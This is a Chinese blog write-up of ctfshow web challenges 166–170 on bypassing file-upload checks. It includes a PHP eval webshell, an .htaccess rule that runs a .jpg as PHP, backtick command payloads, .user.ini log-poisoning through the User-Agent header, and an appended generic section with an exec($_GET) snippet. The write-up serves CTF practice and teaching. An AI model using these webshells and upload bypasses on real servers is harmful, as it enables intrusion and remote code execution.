ctfshow——web入门166~170

web入门166

这题是让我们上传一个zip压缩包,然后可以下载该压缩包,下载时zip文件会进行文件包含,也就是include

首先先随便找一个文件压缩,然后记事本打开写入一句话木马

之后上传文件,点击下载文件时用bp抓包

发送给重发器

(这里如果用get提交的话是不能有空格的,我们可以用+来代替)

web入门167

上传jpg

.htaccess:

.htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。

payload:

<FilesMatch "1.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

这个大概意思是1.jpg会被当做php文件执行

接下来我们在1.jpg文件中插入我们的恶意代码

:

<?= eval($_POST[1]);?>

然后再上传1.jpg

接着点击下载文件,复制url(如https://0f5f07f4-02dc-46b0-8a60-69556a9a1d8c.challenge.ctf.show/upload/1.jpg),蚁剑连接

web入门168

png形式

然后我们通过测试发现可以使用`

那么步骤如下:

上传文件抓包,<?=`ls ../`;?>

访问/upload/9.php

然后这次的flag再flagaa.php中

直接和上面一样

<?=`tac ../flagaa.php`?>

访问

web入门169

要求zip

这里我们还是用到.uers.ini

文件内容:auto_prepend_file=/var/log/nginx/access.log

但是:

直接这样发送,发现无法上传,文件类型错误

然后因为accept为image

所以我们还需要将Content-Type改成image/png

成功上传

然后如果我们直接访问。upload,会显示403无php文件,所以我们上传一个php文件

明显是UA,那就直接插入UA头

web入门170

这题和上题一样

上传.user.ini文件

上传php文件

成功访问:

### CTFShow Web 入门教程与资源 #### 图片中的隐藏后门代码 在处理CTF挑战时,有时会遇到图片中嵌入的恶意代码或后门。这类攻击通常利用图像文件格式的特点,在不影响视觉效果的前提下植入可执行代码。为了检测此类漏洞,可以使用工具如Wireshark抓包分析网络传输数据,或者通过十六进制编辑器(例如010 Editor)查看二进制内容[^1]。 ```bash # 使用010Editor打开可疑图片文件并查找异常字符序列 $ 010editor image.png ``` #### 构造命令执行Payload 对于存在命令注入风险的应用程序,可以通过精心设计输入参数来触发特定行为。比如在一个假设场景下,如果服务器端未对用户提交的数据做充分验证,则可能允许攻击者绕过安全机制执行任意指令。下面展示了如何构建用于测试目的的有效载荷: ```php <?php // 测试用PHP代码片段模拟远程命令执行 $c = $_GET['c']; exec($c, $output); echo implode("\n", $output); ?> ``` 实际操作时应谨慎对待任何涉及系统调用的功能,并确保只针对授权环境开展实验性活动[^2]。 #### PHP随机数生成函数反向工程 某些情况下,了解目标应用内部工作原理有助于找到解决方案路径。以PHP为例,其内置伪随机数发生器`mt_rand()`依赖于初始状态——即种子值。当知道部分输出结果时,可通过逆向工程技术恢复原始种子,进而预测后续产生的数值系列。开源项目提供了实现这一过程所需的算法和编译方法[^3]。 ```cpp #include "php_mt_seed.h" int main() { // 示例:基于已知MT输出还原种子 unsigned long mt_output[] = { /* 已知的一组连续输出 */ }; int seed; find_mt_seed(mt_output, sizeof(mt_output)/sizeof(*mt_output), &seed); printf("Recovered Seed: %d\n", seed); return 0; } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值